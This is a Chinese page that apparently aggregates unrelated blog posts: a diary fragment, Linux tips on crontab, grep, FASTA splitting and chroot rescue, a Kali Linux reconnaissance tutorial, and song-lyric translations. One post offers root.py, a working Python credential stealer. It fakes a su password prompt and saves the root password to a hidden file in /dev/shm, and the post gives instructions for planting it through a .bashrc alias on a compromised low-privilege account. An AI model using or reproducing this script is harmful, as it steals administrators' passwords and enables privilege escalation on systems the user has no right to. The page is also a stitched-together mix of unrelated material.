紫色飞

2015.09.19

第一天

站不住,坐不下,躺不稳,睡不着
不停看手机,刷微信
偶尔不自觉黯然流泪
心里十分的不舍
掏空了的心,醉了的生活
没有未来的天空
压抑着想要不悲伤的悲伤
心碎了,除了你,没人能修。

Linux渗透用的Python小脚本

被巧击的键盘丶:

0x00


渗透的很多时候,找到的工具并不适用,自己码代码才是王道。


0x01


记录root密码小工具


root.py



##coding: utf-8
#!/usr/bin/python
import getpass,time

current_time = time.strftime("%Y-%m-%d %H:%M")
logfile="/dev/shm/.su.log"              #密码获取后记录在这里
#CentOS                 
#fail_str = "su: incorrect password"
#Ubuntu              
fail_str = "su: Authentication failure"
#For Linux Korea                    #centos,ubuntu,korea 切换root用户失败提示不一样
#fail_str = "su: incorrect password"
try:
    passwd = getpass.getpass(prompt='Password: ');
    with open(logfile,'a') as file:
        file.write("[%s]\t%s"%(passwd, current_time))   #截取root密码
        file.write('\n')
except:
    pass
time.sleep(1)
print fail_str                               #打印切换root失败提示



渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su='/usr/root.py; 低权限用户su root 后成功记录密码。密码记录路径请看脚本

Kali Linux在渗透测试中信息收集

逆风网络-安全团队网络安全评测研究中心:

在本文中,我们将讨论渗透测试中第二个阶段——信息收集。我们会介绍Kali中一系列的信息收集工具。在阅读本文之后,我们希望你能对信息收集有更好的理解。


在这个阶段我们需要尽可能多的收集目标的信息,例如:域名的信息,DNS,IP,使用的技术和配置,文件,联系方式等等。在信息收集中,每一个信息都是重要的。


信息收集的方式可以分为两种:主动和被动。主动的信息收集方式:通过直接访问、扫描网站,这种将流量流经网站的行为。被动的信息收集方式:利用第三方的服务对目标进行访问了解,比例:Google搜索。


注意:


没有一种方式是最完美的,每个方式都有自己的优势,主动方式,你能获取更多的信息,但是目标主机可能会记录你的操作记录。被动方式,你收集的信息会先对少,但是你的行动并不会被目标主机发现。一般在一个渗透项目下,你需要有多次的信息收集,同时也要运用不同的收集方式,才能保证信息收集的完整性。


在这章,我们将介绍主动和被动的信息收集方式,来收集一个目标的信息。


使用公共资源


在互联网中,有几个公开的资源网站可以用来对目标信息进行收集,使用这些网站,流量并不会流经目标主机,所以目标主机也不会记录你的行为。


域名注册信息


当你知道目标的域名,你首先要做的就是通过Whoist数据库查询域名的注册信息,Whois数据库是提供域名的注册人信息,包括联系方式,管理员名字,管理员邮箱等等,其中也包括DNS服务器的信息。


关于Whois的介绍请访问:https://www.ietf.org/rfc/rfc3912.txt‍


默认情况下,Kali已经安装了Whois。你只需要输入要查询的域名即可:


#whois baidu.com



(部分)


我们可以获取关于百度的DNS服务器信息,域名注册基本信息。这些信息在以后的测试阶段中有可能会发挥重大的作用。


除了使用whois命令,也有一些网站提供在线whois信息查询:


whois.chinaz.com/


www.internic.net/whois.html


收集完域名信息之后,我们将开始收集关于DNS服务器的详细信息。


DNS分析


使用DNS分析工具的目的在于收集有关DNS服务器和测试目标的相应记录信息。


以下是几种常见的DNS记录类型:



例如,在一个测试项目中,客户只给了一个域名,需要你用着域名,来查找所有目标主机的IP和可用的域。接下来我们将带你实现这样的功能。


host


在获取DNS服务器信息之后,下一步就是借助DNS服务器找出目标主机IP地址。我们可以使用下面的命令行工具来借助一个DNS服务器查找目标主机的IP地址:


# host www.baidu.com



我们可以看到 有两个IP地址??


一般情况下,host查找的是A,AAAA,和MX的记录。


查询详细的记录只需要添加 -a


#host -a baidu.com 8.8.8.8





这里8.8.8.8是指定一个DNS服务器。


因为 host命令查找记录是通过Kali的DNS服务器系统文件,该文件位于/etc/resolv.conf.你可以往里面添加DNS任意服务器。当然也可以像我一样直接在命令行中指定DNS服务器。


dig


除了host命令,你也可以使用dig命令对DNS服务器进行挖掘。相对于host命令,dig命令更具有灵活和清晰的显示信息。


#dig baidu.com



不使用选项的dig命令,只返回一个记录。如果要返回全部的记录,只需要在命令添加给出的类型:


#dig baidu.com any



dnsenum


我们可以利用dnsenum从DNS服务器上获取以下信息:


1. 主机IP地址2. 该域名的DNS服务器3. 该域名的MX记录


除了被用来获取DNS信息,dnsenum还具有以下特点:


1. 使用谷歌浏览器获取子域名2. 暴力破解3. C级网络扫描4. 反向查找网络


启动dnsenum,使用如下命令


#dnsenum



通过一个例子来演示:


# dnsnum baidu.com



前面我们获取的是IPv4的信息,接下来我们使用dnsdict6。该工具可以获取IPv6地址信息


dnsdict6


#dnsdict6





默认情况下,dnsdict6将使用自带的字典和八个线程


#dnsdict6 baidu.com



由此可见,是有默认的状态对百度进行IPv6扫描。


同时,我们也可以使用dnsdict6查找域名上的IPv4,使用选项 -4.并且使用-d还可以收集DNS和NS的信息:


#dnsdict6 -4 -d baidu.com





fierce


fierce 是使用多种技术来扫描目标主机IP地址和主机名的一个DNS服务器枚举工具。运用递归的方式来工作。它的工作原理是先通过查询本地DNS服务器来查找目标DNS服务器,然后使用目标DNS服务器来查找子域名。fierce的主要特点就是可以用来地位独立IP空间对应域名和主机名。


启动fierce使用的命令:


#fierce -h



通过一个例子来演示:


#fierce  -dns baidu.com -threads 3



DMitry


DMitry(Deepmagic Information Gathering Tool)是一个一体化的信息收集工具。它可以用来收集以下信息:


1. 端口扫描2. whois主机IP和域名信息3. 从Netcraft.com获取主机信息4. 子域名5. 域名中包含的邮件地址


尽管这些信息可以在Kali中通过多种工具获取,但是使用DMitry可以将收集的信息保存在一个文件中,方便查看。


使用DMitry可以使用如下命令:


#dmitry





通过一个例子来演示:


这个演示是要获取 whois ,ip,主机信息,子域名,电子邮件。


#dmitry -winse baidu.com



再一个例子,通过dmitry 来扫描网站端口


#dmitry -p baidu.com -f -b





扫描之后我们会发现百度只开放了80端口。(截图只有部分。。。)


Maltego


Maltego是一个开源的取证工具。它可以挖掘和收集信息。


Maltego是一个图形界面。


Maltego的基础网络特点:


1. 域名2. DNS3. Whois4. IP地址5. 网络块


也可以被用于收集相关人员的信息:


1. 公司、组织2. 电子邮件3. 社交网络关系4. 电话号码


使用Maltego的命令行如下:


#maltego





第一次运行会出现启动向导:








通过一个例子演示:


使用快捷键ctrl+T来创建新的项目。然后到Palette选项卡,选择基础设施(Infrastructure),选择域(Domain),如果成功建立会出现paterva.com。可以通过双击paterva.com这个图标进行更改



如果你右键单击域名,你会看到所有的功能(变换??):



我们使用Other transforms->DomainToDNSNameSchema 结果如图:



在对域名的DNS变换后,我们得到了百度的相关信息。你还可以试试其他(变换)功能。


利用搜索引擎


Kali 工具集中用可以用来收集域,电子邮件等信息的工具,这些工具使用第三方搜索引擎进行信息收集,这样的好处在于我们不用直接访问目标,目标并不知道你的行动。


theharvester


theharvester是一个电子邮件,用户名和主机名/子域名信息收集工具。它收集来自各种公开的信息来源。最新版本支持的信息来源包括:


1. Google2. Google profiles3. Bing4. PGP5. LinkedIn6. Yandex7. People1238. Jigsaw


使用theharvester 命令行:


# theharvester



通过一个例子来演示:


通过bing来收集


#theharvester -d baidu.com -l 100 -b bing



如果我们想收集目标用户名,我们可以通过LinkedIn.com查找。命令如下:


#theharvester -d baidu.com -l 100 -b  linkedin







从LinkedIn收集的用户名在后续的测试中将会有很大的用处。例如:社会工程学攻击。


Metagoofil


Metagoofil是一款利用Google收集信息的工具,目前支持的类型如下:


1. word2. ppt3. Excel4. PDF


使用Metagoofil的命令:


#Metagoofil



通过一个例子来演示:


#metagoofil -d baidu.com -l 20 -t doc,pdf -n 5  -f test.html -o test



通过这个工具我们可以看到收集到的资料非常多,如,用户名,路径信息。我们可以通过这些用户名进行暴力破解。


通过生成的HTML版的报告,我们可以非常清晰的看到我们收集的信息种类:



至此,我们的信息收集工具介绍已经完成。每个渗透目标,想要通过不同的途径获取目标大量信息。要知道:“知彼知己,百战百胜”。



xinitrc

My Linux:

~/.xinitrc




export GTK_IM_MODULE=fcitx
export QT_IM_MODULE=fcitx
export XMODIFIERS="@im=fcitx"
export TERMINAL=terminator
export LANG=en_US.UTF-8
numlockx &
exec i3

LINUX 命令--定时任务 系统自动备份

youhunkaola:

为当前用户创建cron服务


1.  键入 crontab  -e 编辑crontab服务文件


      例如 文件内容如下:


     */2 * * * * /bin/sh /home/admin/jiaoben/buy/deleteFile.sh 


     保存文件并并退出


     */2 * * * * /bin/sh /home/admin/jiaoben/buy/deleteFile.sh


    */2 * * * * 通过这段字段可以设定什么时候执行脚本


      /bin/sh /home/admin/jiaoben/buy/deleteFile.sh 这一字段可以设定你要执行的脚本,这里要注意一下bin/sh 是指运行  脚本的命令  后面一段时指脚本存放的路径


 


2. 查看该用户下的crontab服务是否创建成功, 用 crontab  -l 命令  


 


3. 启动crontab服务 


      一般启动服务用  /sbin/service crond start 若是根用户的cron服务可以用 sudo service crond start, 这里还是要注意  下 不同版本linux系统启动的服务的命令也不同 ,像我的虚拟机里只需用 sudo service cron restart 即可,若是在根用下直接键入service cron start就能启动服务


 


4. 查看服务是否已经运行用 ps -ax | grep cron


5. crontab命令


      cron服务提供crontab命令来设定cron服务的,以下是这个命令的一些参数与说明:


        crontab -u //设定某个用户的cron服务,一般root用户在执行这个命令的时候需要此参数  
  crontab -l //列出某个用户cron服务的详细内容
  crontab -r //删除没个用户的cron服务
  crontab -e //编辑某个用户的cron服务
  比如说root查看自己的cron设置:crontab -u root -l
  再例如,root想删除fred的cron设置:crontab -u fred -r
  在编辑cron服务时,编辑的内容有一些格式和约定,输入:crontab -u root -e
  进入vi编辑模式,编辑的内容一定要符合下面的格式:*/1 * * * * ls >> /tmp/ls.txt
        任务调度的crond常驻命令
        crond 是linux用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此  


       任务调度命令。crond命令每分锺会定期检查是否有要执行的工作,如果有要执行的工


       作便会自动执行该工作。


 


6. crontab命令选项:


     -u指定一个用户


     -l列出某个用户的任务计划


     -r删除某个用户的任务


     -e编辑某个用户的任务


7. cron文件语法:


      分     小时    日       月       星期     命令


      0-59   0-23   1-31   1-12     0-6     command     (取值范围,0表示周日一般一行对应一个任务)


     记住几个特殊符号的含义:


         “*”代表取值范围内的数字,
         “/”代表”每”,
         “-”代表从某个数字到某个数字,
         “,”分开几个离散的数字


8. 任务调度设置文件的写法
      可用crontab -e命令来编辑,编辑的是/var/spool/cron下对应用户的cron文件,也可以直接修改/etc/crontab文件
     具体格式如下:
      Minute Hour Day Month Dayofweek   command
      分钟     小时   天     月       天每星期       命令
     每个字段代表的含义如下:
     Minute             每个小时的第几分钟执行该任务
     Hour               每天的第几个小时执行该任务
     Day                 每月的第几天执行该任务
     Month             每年的第几个月执行该任务
     DayOfWeek     每周的第几天执行该任务
     Command       指定要执行的程序
     在这些字段里,除了“Command”是每次都必须指定的字段以外,其它字段皆为可选


    字段,可视需要决定。对于不指定的字段,要用“*”来填补其位置。
    举例如下:
    5       *       *           *     *     ls             指定每小时的第5分钟执行一次ls命令
    30     5       *           *     *     ls             指定每天的 5:30 执行ls命令
    30     7       8         *     *     ls             指定每月8号的7:30分执行ls命令
    30     5       8         6     *     ls             指定每年的6月8日5:30执行ls命令
    30     6       *           *     0     ls             指定每星期日的6:30执行ls命令[注:0表示星期天,1表示星期1,


    以此类推,也可以用英文来表示,sun表示星期天,mon表示星期一等。]


   30     3     10,20     *     *     ls     每月10号及20号的3:30执行ls命令[注:“,”用来连接多个不连续的时段]


    25     8-11 *           *     *     ls       每天8-11点的第25分钟执行ls命令[注:“-”用来连接连续的时段]


    */15   *       *           *     *     ls         每15分钟执行一次ls命令 [即每个小时的第0 15 30 45 60分钟执行ls命令 ]


     30   6     */10         *     *     ls       每个月中,每隔10天6:30执行一次ls命令[即每月的1、11、21、31日是的6:30执行一次ls 命令。 ]


     每天7:50以root 身份执行/etc/cron.daily目录中的所有可执行文件


     50   7       *             *     *     root     run-parts     /etc/cron.daily   [ 注:run-parts参数表示,执行后面目录中的所有可执行文件。 ]


 


9. 新增调度任务


     新增调度任务可用两种方法:
       1)、在命令行输入: crontab -e 然后添加相应的任务,wq存盘退出。
        2)、直接编辑/etc/crontab 文件,即vi /etc/crontab,添加相应的任务。


10. 查看调度任务
        crontab -l //列出当前的所有调度任务
        crontab -l -u jp   //列出用户jp的所有调度任务


11. 删除任务调度工作
         crontab -r   //删除所有任务调度工作


12. 任务调度执行结果的转向
       例1:每天5:30执行ls命令,并把结果输出到/jp/test文件中
            30 5 * * * ls >/jp/test 2>&1
            注:2>&1 表示执行结果及错误信息。
      编辑/etc/crontab 文件配置cron  


     cron服务每分钟不仅要读一次/var/spool/cron内的所有文件,还需要读一次 /etc/crontab,因此我们配置这个文件也能运用cron服务做一些事情。用crontab配置是针对某个用户的,而编辑/etc/crontab是针对系统的任务。此文件的文件格式是:  


  SHELL=/bin/bash  


  PATH=/sbin:/bin:/usr/sbin:/usr/bin 


  MAILTO=root //如果出现错误,或者有数据输出,数据作为邮件发给这个帐号  


  HOME=/ //使用者运行的路径,这里是根目录  
  # run-parts  


  01   *   *   *   *     root run-parts /etc/cron.hourly         //每小时执行


        /etc/cron.hourly内的脚本  


     02   4   *   *   *     root run-parts /etc/cron.daily           //每天执行/etc/cron.daily内的脚本  


       22   4   *   *   0     root run-parts /etc/cron.weekly       //每星期执行 /etc/cron.weekly内的脚本  


      42   4   1   *   *     root run-parts /etc/cron.monthly     //每月去执行/etc/cron.monthly内的脚本  
  大家注意”run-parts”这个参数了,如果去掉这个参数的话,后面就可以写要运行的某个脚本名,而不是文件夹名了


    例如:


     1) 在命令行输入: crontab -e 然后添加相应的任务,wq存盘退出。


      2)直接编辑/etc/crontab 文件,即vi /etc/crontab,添加相应的任务
          11 2 21 10 * rm -rf /mnt/fb  


 


 


 


 


eg:  系统自动备份文件
[root@test ~]# crontab -l
0 3 * * * /data/CMS/BACKUP/backup.sh


第一道第五个字段的整数取值范围及意义是: 

0~59 表示分 

1~23 表示小时 

1~31 表示日 

1~12 表示月份 

0~6 表示星期(其中0表示星期日) 


即为每天的三点零分开始备份


 


backup.sh 内容:


SYSTEM_DIR="/data/CMS"
BACKUP_DIR="${SYSTEM_DIR}/BACKUP"


cd ${BACKUP_DIR}
rm ./WebRoot-03.zip -fr
mv ./WebRoot-02.zip WebRoot-03.zip
mv ./WebRoot-01.zip WebRoot-02.zip


cd ${SYSTEM_DIR}
zip -r ${BACKUP_DIR}/WebRoot-01.zip WebRoot/*



==================================


cron 权限控制
/etc/cron.allow /etc/cron.deny   都不存在仅有root可以服从新的crontab
仅有/etc/cron.deny 存在 除了cron.deny中的用户,其他用户都可以成立 crontab
仅有/etc/cron.allow 存在 仅允许cron.allow中的用户成立 crontab
假如两个文件都存在 漠视 cron.deny


来源:huangchp0599

linux grep命令详解

wapy:

1.作用
Linux系统中grep命令是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹 配的行打印出来。grep全称是Global Regular Expression Print,表示全局正则表达式版本,它的使用权限是所有用户。


2.格式
grep [options]


3.主要参数
[options]主要参数:
-c:只输出匹配行的计数。
-I:不区分大 小写(只适用于单字符)。
-h:查询多文件时不显示文件名。
-l:查询多文件时只输出包含匹配字符的文件名。
-n:显示匹配行及 行号。
-s:不显示不存在或无匹配文本的错误信息。
-v:显示不包含匹配文本的所有行。
pattern正则表达式主要参数:
\: 忽略正则表达式中特殊字符的原有含义。
^:匹配正则表达式的开始行。
$: 匹配正则表达式的结束行。
\<:从匹配正则表达 式的行开始。
\>:到匹配正则表达式的行结束。
[ ]:单个字符,如[A]即A符合要求 。
[ - ]:范围,如[A-Z],即A、B、C一直到Z都符合要求 。
。:所有的单个字符。
* :有字符,长度可以为0。


4.grep命令使用简单实例
$ grep ‘test’ d*
显示所有以d开头的文件中包含 test的行。
$ grep ‘test’ aa bb cc
显示在aa,bb,cc文件中匹配test的行。
$ grep ‘[a-z]\{5\}’ aa
显示所有包含每个字符串至少有5个连续小写字符的字符串的行。
$ grep ‘w\(es\)t.*\1′ aa
如果west被匹配,则es就被存储到内存中,并标记为1,然后搜索任意个字符(.*),这些字符后面紧跟着 另外一个es(\1),找到就显示该行。如果用egrep或grep -E,就不用”\”号进行转义,直接写成’w(es)t.*\1′就可以了。


5.grep命令使用复杂实例
假设您正在’/usr/src/Linux/Doc’目录下搜索带字符 串’magic’的文件:
$ grep magic /usr/src/Linux/Doc/*
sysrq.txt:* How do I enable the magic SysRQ key?
sysrq.txt:* How do I use the magic SysRQ key?
其中文件’sysrp.txt’包含该字符串,讨论的是 SysRQ 的功能。
默认情况下,’grep’只搜索当前目录。如果 此目录下有许多子目录,’grep’会以如下形式列出:
grep: sound: Is a directory
这可能会使’grep’ 的输出难于阅读。这里有两种解决的办法:
明确要求搜索子目录:grep -r
或忽略子目录:grep -d skip
如果有很多 输出时,您可以通过管道将其转到’less’上阅读:
$ grep magic /usr/src/Linux/Documentation/* | less
这样,您就可以更方便地阅读。


有一点要注意,您必需提供一个文件过滤方式(搜索全部文件的话用 *)。如果您忘了,’grep’会一直等着,直到该程序被中断。如果您遇到了这样的情况,按 <CTRL c> ,然后再试。


下面还有一些有意思的命令行参数:
grep -i pattern files :不区分大小写地搜索。默认情况区分大小写,
grep -l pattern files :只列出匹配的文件名,
grep -L pattern files :列出不匹配的文件名,
grep -w pattern files :只匹配整个单词,而不是字符串的一部分(如匹配’magic’,而不是’magical’),
grep -C number pattern files :匹配的上下文分别显示[number]行,
grep pattern1 | pattern2 files :显示匹配 pattern1 或 pattern2 的行,
grep pattern1 files | grep pattern2 :显示既匹配 pattern1 又匹配 pattern2 的行。


grep -n pattern files  即可显示行号信息


grep -c pattern files  即可查找总行数


这里还有些用于搜索的特殊符号:
\< 和 \> 分别标注单词的开始与结尾。
例如:
grep man * 会匹配 ‘Batman’、’manic’、’man’等,
grep ‘\<man’ * 匹配’manic’和’man’,但不是’Batman’,
grep ‘\<man\>’ 只匹配’man’,而不是’Batman’或’manic’等其他的字符串。
‘^’:指匹配的字符串在行首,
‘$’:指匹配的字符串在行 尾,




Grep 命令 用法大全

1、 参数: 

-I :忽略大小写 

-c :打印匹配的行数 

-l :从多个文件中查找包含匹配项 

-v :查找不包含匹配项的行 

-n:打印包含匹配项的行和行标 

2、RE(正则表达式) 

\ 忽略正则表达式中特殊字符的原有含义 

^ 匹配正则表达式的开始行 

$ 匹配正则表达式的结束行 

\< 从匹配正则表达式的行开始 

\> 到匹配正则表达式的行结束 

[ ] 单个字符;如[A] 即A符合要求 

[ - ] 范围 ;如[A-Z]即A,B,C一直到Z都符合要求 

. 所有的单个字符 

* 所有字符,长度可以为0

3、举例 

# ps -ef | grep in.telnetd

root 19955 181 0 13:43:53 ? 0:00 in.telnetd

# more size.txt size文件的内容 

b124230

b034325

a081016

m7187998

m7282064

a022021

a061048

m9324822

b103303

a013386

b044525

m8987131

B081016

M45678

B103303

BADc2345

# more size.txt | grep '[a-b]' 范围 ;如[A-Z]即A,B,C一直到Z都符合要求 

b124230

b034325

a081016

a022021

a061048

b103303

a013386

b044525

# more size.txt | grep '[a-b]'* 

b124230

b034325

a081016

m7187998

m7282064

a022021

a061048

m9324822

b103303

a013386

b044525

m8987131

B081016

M45678

B103303

BADc2345

# more size.txt | grep '
b' 单个字符;如[A] 即A符合要求 
b124230
b034325
b103303
b044525
# more size.txt | grep '[bB]' 
b124230
b034325
b103303
b044525
B081016
B103303
BADc2345
# grep 'root' /etc/group 
root::0:root
bin::2:root,bin,daemon
sys::3:root,bin,sys,adm
adm::4:root,adm,daemon
uucp::5:root,uucp
mail::6:root
tty::7:root,tty,adm
lp::8:root,lp,adm
nuucp::9:root,nuucp
daemon::12:root,daemon
# grep '^root' /etc/group 匹配正则表达式的开始行 
root::0:root
# grep 'uucp' /etc/group 
uucp::5:root,uucp
nuucp::9:root,nuucp
# grep '\<uucp' /etc/group 
uucp::5:root,uucp
# grep 'root$' /etc/group 匹配正则表达式的结束行 
root::0:root
mail::6:root
# more size.txt | grep -i 'b1..*3' -i :忽略大小写 
b124230
b103303
B103303
# more size.txt | grep -iv 'b1..*3' -v :查找不包含匹配项的行 
b034325
a081016
m7187998
m7282064
a022021
a061048
m9324822
a013386
b044525
m8987131
B081016
M45678
BADc2345
# more size.txt | grep -in 'b1..*3' 
1:b124230
9:b103303
15:B103303
# grep '$' /etc/init.d/nfs.server | wc -l 
128
# grep '\$' /etc/init.d/nfs.server | wc –l 忽略正则表达式中特殊字符的原有含义 
15
# grep '\$' /etc/init.d/nfs.server 
case "$1" in
>/tmp/sharetab.$$ 
[ "x$fstype" != xnfs ] && 
echo "$path\t$res\t$fstype\t$opts\t$desc" 
>>/tmp/sharetab.$$ 
/usr/bin/touch -r /etc/dfs/sharetab /tmp/sharetab.$$ 
/usr/bin/mv -f /tmp/sharetab.$$ /etc/dfs/sharetab 
if [ -f /etc/dfs/dfstab ] && /usr/bin/egrep -v '^[ ]*(#|$)' 
if [ $startnfsd -eq 0 -a -f /etc/rmmount.conf ] && 
if [ $startnfsd -ne 0 ]; then
elif [ ! -n "$_INIT_RUN_LEVEL" ]; then
while [ $wtime -gt 0 ]; do
wtime=`expr $wtime - 1` 
if [ $wtime -eq 0 ]; then
echo "Usage: $0 { start | stop }" 
# more size.txt
the test file
their are files
The end
# grep 'the' size.txt
the test file
their are files
# grep '\<the' size.txt
the test file
their are files
# grep 'the\>' size.txt
the test file
# grep '\<the\>' size.txt
the test file
# grep '\<[Tt]he\>' size.txt
the test file
==================================================================
1,简介
使用正则表达式的一个多用途文本搜索工具.这个php?name=%C3%FC%C1%EE" data-ke-src=">php</span>?name=%C3%FC%C1%EE" onclick="tagshow(event)" class="t_tag">命令本来是ed行编辑器中的一个php?name=%C3%FC%C1%EE" onclick="tagshow(event)" class="t_tag">命令/过滤器:
        g/re/p -- global - regular expression - print.
基本格式
grep pattern [file...]
(1)grep 搜索字符串 [filename]
(2)grep 正则表达式 [filename]
在文件中搜索所有 pattern 出现的位置, pattern 既可以是要搜索的字符串,也可以是一个正则表达式.
注意:在输入要搜索的字符串时最好使用双引号/而在模式匹配使用正则表达式时,注意使用单引号
2,grep的选项
    -c 只输出匹配行的计数
    -i 不区分大小写(用于单字符)
    -n 显示匹配的行号
    -v 不显示不包含匹配文本的所以有行
    -s 不显示错误信息
    -E 使用扩展正则表达式
    更多的选项请查看:man grep
3,常用grep实例
(1)多个文件查询
    grep "sort" *.doc       #见文件名的匹配
(2)行匹配:输出匹配行的计数
    grep -c "48" data.doc   #输出文档中含有48字符的行数
(3)显示匹配行和行数
    grep -n "48" data.doc       #显示所有匹配48的行和行号
(4)显示非匹配的行
    grep -vn "48" data.doc      #输出所有不包含48的行
(4)显示非匹配的行
    grep -vn "48" data.doc      #输出所有不包含48的行
(5)大小写敏感
    grep -i "ab" data.doc       #输出所有含有ab或Ab的字符串的行
4, 正则表达式的应用
(1)正则表达式的应用 (注意:最好把正则表达式用单引号括起来)
    grep '[239].' data.doc      #输出所有含有以2,3或9开头的,并且是两个数字的行
(2)不匹配测试
    grep '^[^48]' data.doc      #不匹配行首是48的行
(3)使用扩展模式匹配
    grep -E '219|216' data.doc
(4) ...
    这需要在实践中不断应用和总结,熟练掌握正则表达式。
5, 使用类名
可以使用国际模式匹配的类名:
[[:upper:]]   [A-Z]
[[:lower:]]   [a-z]
[[:digit:]]   [0-9]
[[:alnum:]]   [0-9a-zA-Z]
[[:space:]]   空格或tab
[[:alpha:]]   [a-zA-Z]
(1)使用
    grep '5[[:upper:]][[:upper:]]' data.doc     #查询以5开头以两个大写字母结尾的行

FASTA文件拆分&合并

生信小白__君君:

FASTA文件拆分: 
1. 从a.fasta中提取第10至第20个序列存到b.fasta中


 awk -v RS=’>‘‘NR>1{i++}i>=10&&i<=20{print “>”$0}’ a.fasta|sed ‘/^$/d’>b.fasta 


2.将input.fasta中第每一条序列保存到一个文件中


 awk ‘/^>/{f=++d”.fasta”} {print > f}’ input.fasta


FASTA文件合并


cat *.fasta > output.fasta


awk是Unix/Linux下的一种用于文本处理的编程语言,Sed是Unix/Linux下的一种流编辑器。功能都非常强大。这些操作用Python或Perl编程也很容易实现,但不如命令行这么直截了当。 在Windows下如果安装了Cygwin(windows linux 模拟器)这个软件,也可以使用这些命令。



通过live usb和chroot拯救linux系统的一般操作方法

nuzar:


  1. 通过live usb启动,进入一个可用的linux环境,并切换到root;


  2. 用lsblk查看你的分区,假设根分区/的设备是/dev/sda1,先将其挂载:

    mount /dev/sda1 /mnt

    其他分区类似;


  3. 挂载几个特殊的分区:

    mount -t proc proc proc/
    mount -t sysfs sys sys/
    mount -o bind /dev dev/


  4. 使用chroot切换:

    chroot /mnt


  5. OK,已经进入你之前的系统了,该干什么就干什么吧,比如说Arch党滚一下什么的。




参考:


https://wiki.archlinux.org/index.php/Change_root

さっさつ:

改变

sigma爽朗随性的声音唱这首歌刚刚好。

i've here for too long

going through the same thing

it isn't real

it isn't cool

it isn't what i signed up to

everthing is changing

雪喵之路:

【歌词翻译】I’ll Return - Skylar Grey(百日翻译DAY 050)


写在前面:今天雪猫的百日翻译二期进入半程好开心\(^o^)/~真的没人要来推歌嘛,卖萌的求(合爪
另外,决定从下半程开始,改为一日翻译文段,一日翻译歌词,亲爱的各位如果有想看但无翻译的文段也可以来点单哦^_^


When you close your eyes,

You can see the day rewind,

All the laughs and stupid fights,

You and I we roll like thunder in the skies.

Just like a party breaks at dawn,

It never stops for long.


当你闭目合眼

往事纷至沓来

所有欢笑和愚蠢争斗的画面

你和我 我们若闪电般飞速掠过天空

宛如黎明时分的聚会

永无长久的止息


I will return don't you ever hang your head,

I will return in every song and each sunset,

Our memory is always within reach,

I will return I will return

Don't you ever hang your head.


我将归来 永不要心生失望

我将归来 在所有的歌声里 在每一次的日落时分

我们的记忆总会近在咫尺

我将归来 永不要心生失望


When you're feeling empty,

I will be the fuel you need,

To keep on pushing on down the lonely street

And I'm always in the dark unseen.

Home like headlights on the lawn,

I'm never gone for long.


当你心下失落

我将为你燃料 应你所求

伴你冲下孤单长路

我总会在看不到的暗处陪着你

家 就像映照草坪的大灯

我永不会离你远去


I will return don't you ever hang your head,

I will return in every song and each sunset,

Our memory is always within reach,

I will return I will return

Don't you ever hang your head.


我将归来 永不要心生失望

我将归来 在所有的歌声里 在每一次的日落时分

我们的记忆总会近在咫尺

我将归来 我将归来

永不要心生失望


I will return don't you ever hang your head,


I will return don't you ever hang your head,

I will return in every song and each sunset,

Our memory is always within reach,

I will return I will return

Don't you ever hang your head


我将归来 永不要心生失望

我将归来 在所有的歌声里 在每一次的日落时分

我们的记忆总会近在咫尺

我将归来 我将归来

永不要心生失望


Songwriters

ROTEM, JONATHAN / GREY, SKYLAR / LAIRD, LUKE